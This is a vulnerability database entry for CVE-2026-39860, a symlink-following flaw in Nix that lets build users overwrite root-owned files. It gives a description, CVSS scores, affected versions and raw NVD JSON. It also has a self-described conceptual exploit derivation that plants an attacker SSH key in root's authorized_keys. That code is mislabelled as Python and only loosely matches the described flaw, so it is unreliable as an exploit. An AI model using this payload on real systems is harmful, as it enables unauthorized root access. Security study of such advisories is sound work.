Security Vulnerability Report
中文
CVE-2026-39860 CVSS 9.0 CRITICAL

CVE-2026-39860

Published: 2026-04-08 21:17:00
Last Modified: 2026-04-15 16:12:21

Description

Nix is a package manager for Linux and other Unix systems. A bug in the fix for CVE-2024-27297 allowed for arbitrary overwrites of files writable by the Nix process orchestrating the builds (typically the Nix daemon running as root in multi-user installations) by following symlinks during fixed-output derivation output registration. This affects sandboxed Linux builds - sandboxed macOS builds are unaffected. The location of the temporary output used for the output copy was located inside the build chroot. A symlink, pointing to an arbitrary location in the filesystem, could be created by the derivation builder at that path. During output registration, the Nix process (running in the host mount namespace) would follow that symlink and overwrite the destination with the derivation's output contents. In multi-user installations, this allows all users able to submit builds to the Nix daemon (allowed-users - defaulting to all users) to gain root privileges by modifying sensitive files. This vulnerability is fixed in 2.34.5, 2.33.4, 2.32.7, 2.31.4, 2.30.4, 2.29.3, and 2.28.6.

CVSS Details

CVSS Score
9.0
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:nixos:nix:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:nixos:nix:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:nixos:nix:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:nixos:nix:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:nixos:nix:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE
Nix < 2.34.5
Nix < 2.33.4
Nix < 2.32.7
Nix < 2.31.4
Nix < 2.30.4
Nix < 2.29.3
Nix < 2.28.6

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# Example of a malicious Nix derivation (conceptual PoC) # This derivation attempts to exploit the symlink following vulnerability. # It creates a symlink at the output path pointing to a sensitive file on the host. { pkgs ? import <nixpkgs> {} }: pkgs.stdenv.mkDerivation { name = "exploit-cve-2026-39860"; # Fixed-output derivation configuration outputHash = "0000000000000000000000000000000000000000000000000000"; # Placeholder hash outputHashAlgo = "sha256"; buildCommand = '' # Create a symlink at the derivation output path ($out) # pointing to a sensitive file on the host, e.g., root's authorized_keys. ln -s /root/.ssh/authorized_keys $out # Write malicious content (e.g., attacker's public key) # During output registration, Nix daemon follows the symlink # and overwrites the target file on the host. echo "ssh-rsa AAAAB3NzaC1yc2E... attacker@evil" > $out ''; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-39860", "sourceIdentifier": "[email protected]", "published": "2026-04-08T21:17:00.157", "lastModified": "2026-04-15T16:12:21.480", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Nix is a package manager for Linux and other Unix systems. A bug in the fix for CVE-2024-27297 allowed for arbitrary overwrites of files writable by the Nix process orchestrating the builds (typically the Nix daemon running as root in multi-user installations) by following symlinks during fixed-output derivation output registration. This affects sandboxed Linux builds - sandboxed macOS builds are unaffected. The location of the temporary output used for the output copy was located inside the build chroot. A symlink, pointing to an arbitrary location in the filesystem, could be created by the derivation builder at that path. During output registration, the Nix process (running in the host mount namespace) would follow that symlink and overwrite the destination with the derivation's output contents. In multi-user installations, this allows all users able to submit builds to the Nix daemon (allowed-users - defaulting to all users) to gain root privileges by modifying sensitive files. This vulnerability is fixed in 2.34.5, 2.33.4, 2.32.7, 2.31.4, 2.30.4, 2.29.3, and 2.28.6."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N", "baseScore": 9.0, "baseSeverity": "CRITICAL", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.5, "impactScore": 5.8}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N", "baseScore": 8.4, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.0, "impactScore": 5.8}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-61"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nixos:nix:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.18.2", "versionEndIncluding": "2.18.9", "matchCriteriaId": "88A1E0DB-FA70-449D-B872-6C8051A7A8A2"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nixos:nix:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.19.4", "versionEndIncluding": "2.19.7", "matchCriteriaId": "F6D346F6-DF4F-4DFA-A5C8-16D620B5573C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nixos:nix:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.20.5", "versionEndIncluding": "2.20.9", "matchCriteriaId": "57A0A4D2-47CF-4E82-85D0-504EF978279F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nixos:nix:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.21.0", "versionEndExcluding": "2.28.6", "matchCriteriaId": "169A0D33-C7A8-4D02-A560-3F6ED2DF29D9"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nixos:nix:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.29.0", "versionEndExcluding": "2.29.3", "matchCriteriaId": "48408418-40B9-4657-836F-37C964B9F5B5"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nixos:nix:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.30.0", "versionEndExcluding": "2.30.4", "matchCriteriaId": "C475C811-04D0-48E3-B302-A6980376BEF8"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nixos:nix:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.31.0", "versionEndExcluding": "2.31.4", "matchCriteriaId": "25E84672-263F-4C99-8698-EC5BC3FF4AC3"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nixos:nix:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.32.0", "versionEndExcluding": "2.32.7", "matchCriteriaId": "C9E39F02-7238-4B3C-8DDD-EED01C4C9664"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nixos:nix:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.33.0", "versionEndExcluding": "2.33.4", "matchCriteriaId": "5BD5E589-D0F6-4C4F-8831-E9B29C842B04"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nixos:nix:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.34.0", "versionEndExcluding": "2.34.5", "matchCriteriaId": "FC7B6CF8-F460-4C0E-9526-E3C3BEE613EA"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*", "matchCriteriaId": "703AF700-7A70-47E2-BC3A-7FD03B3CA9C1"}]}]}], "references": [{"url": "https://github.com/NixOS/nix/commit/244f3eee0bbc7f11e9b383a15ed7368e2c4becc9", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/NixOS/nix/commit/4bc5a3510fa3735798f9ed3a2a30a3ea7b32343a", "source": "se ... (truncated)